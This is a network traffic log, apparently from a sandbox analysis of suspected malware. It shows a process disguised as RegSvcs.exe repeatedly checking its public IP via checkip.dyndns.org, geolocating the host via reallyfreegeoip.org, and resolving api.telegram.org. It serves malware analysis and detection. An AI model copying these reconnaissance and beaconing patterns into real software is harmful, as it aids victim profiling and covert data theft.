Dec 16, 2024 13:37:33.927192926 CET	1.1.1.1	192.168.2.8	0xfbc8	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.122.130.0	80	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:37:06.892929077 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 13:37:08.265475035 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e0b9244e46191548d97edf16dd5e1fab Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 16, 2024 13:37:08.272860050 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 16, 2024 13:37:08.645967007 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: aa40f9c69a17275c66b0a75ea53e7732 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 16, 2024 13:37:10.983530998 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 16, 2024 13:37:11.325221062 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 52d6f3eeb987d82fb02fddda2d304e79 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	193.122.130.0	80	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:37:13.118542910 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 16, 2024 13:37:14.230257034 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8ebd0910ee945d001ffb0dc419e2649b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	193.122.130.0	80	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:37:16.457046986 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 13:37:17.554649115 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c209dadd30e49be97074619c948e01e0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49712	193.122.130.0	80	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:37:19.418664932 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 13:37:20.507086992 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 67ada7149c52fc30ecff77fd270002c9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49714	193.122.130.0	80	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:37:22.308821917 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 13:37:23.404773951 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 69cf4b293719b0b20182e518009796c1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49719	193.122.130.0	80	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:37:25.198427916 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 13:37:26.296544075 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 352739f19f0e93c475cc342ec41f5119 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49723	193.122.130.0	80	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:37:28.083249092 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 13:37:29.183563948 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:29 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 138ba724a96b9efc89b68ec28f526023 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49725	193.122.130.0	80	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:37:31.004462004 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 13:37:32.101073980 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f7439651186c4c4d41159b3620646240 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	104.21.67.152	443	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:37:10 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 12:37:10 UTC	870	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:10 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 341399 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SEegHayPT3UxEQbB8MVuxV234dSFpuvfDR5z4u7krdvNeJZ97VJKZm5NRR17FULXs8R63MQwEQETbC0V7r1J5Ys985HDoY4Upf1zZcZlHEP1Bn95gUXGNh9iNoXQD8Zzm9pPsvxR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2eb9268a2641f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1583&rtt_var=609&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1773997&cwnd=211&unsent_bytes=0&cid=5d61606ef27a7fab&ts=455&x=0"
2024-12-16 12:37:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	104.21.67.152	443	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:37:12 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-16 12:37:12 UTC	886	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:12 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 341401 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wfk6hnj3jmI2PyS2U%2BtoY1%2BQBV8QwNJ03IWwWrkjKD%2Fk1a5XHDo%2BflZXuul6iBor35o4Xkl87SYEd%2Fi3xVEt%2FEiADIpa92WmNMSSuZLHy3VW4Gfyc%2FuzEmkd%2B22Bl5UkDao0F8Sb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2eb933289b5e86-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1702&min_rtt=1693&rtt_var=653&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1651583&cwnd=240&unsent_bytes=0&cid=d5ed44d40e6ab4c2&ts=455&x=0"
2024-12-16 12:37:12 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49709	104.21.67.152	443	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:37:15 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-16 12:37:15 UTC	882	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:15 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 341404 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f2zpBggZoECSfl%2B0GkTgjT%2FbHJm4o0ZrVIFiq8R6xAU4lorjs6eQX59DhXMXEBC849UGSRfq%2Bm5olgjjQrRgMg5bcJEQCDv%2F0H1%2B1CdL%2F99D6HCZgsOPpQbKzvOiPlafV45MBefb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2eb9454aba43d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1576&rtt_var=604&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1793611&cwnd=241&unsent_bytes=0&cid=1238ece7d21c3962&ts=462&x=0"
2024-12-16 12:37:15 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49711	104.21.67.152	443	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:37:18 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 12:37:19 UTC	881	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:19 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 341408 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wiwVZnR%2Fgaf4RKUDo3eespuSd9bs8fxWhocuGBkq%2FWXbnQnIVQgg2%2FsnGb5Fg3gCsS%2BfOKhABkM%2BvQ2CIbMzB%2BLvS04k3KbzlVRLzDJHF0TQaACjyaKDGgIXLBJoYbBH7eBetQbG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2eb95a7ec40f3a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1506&min_rtt=1506&rtt_var=753&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4238&recv_bytes=699&delivery_rate=187528&cwnd=164&unsent_bytes=0&cid=901b5eadf82c99d2&ts=467&x=0"
2024-12-16 12:37:19 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49713	104.21.67.152	443	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:37:21 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 12:37:22 UTC	886	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:37:22 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 341411 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MQhFd%2B%2FrecEzNTOaGkKh4BSvBm9VWAX2O6QjZVdfgtwYxxDdoRG5%2F3oqOg5Ss2Of66z3AE%2BQli%2B%2F2uIQ9d25u87GlIcAYBkwcWcm4cyZ3uvSz5xM%2F%2BPVanUv2fIWMfiLHSOuxKL5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2eb96c8b8443d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&min_rtt=1601&rtt_var=618&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1746411&cwnd=221&unsent_bytes=0&cid=b7af28b97af3b459&ts=454&x=0"
2024-12-16 12:37:22 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49717	104.21.67.152	443	4780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:37:24 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
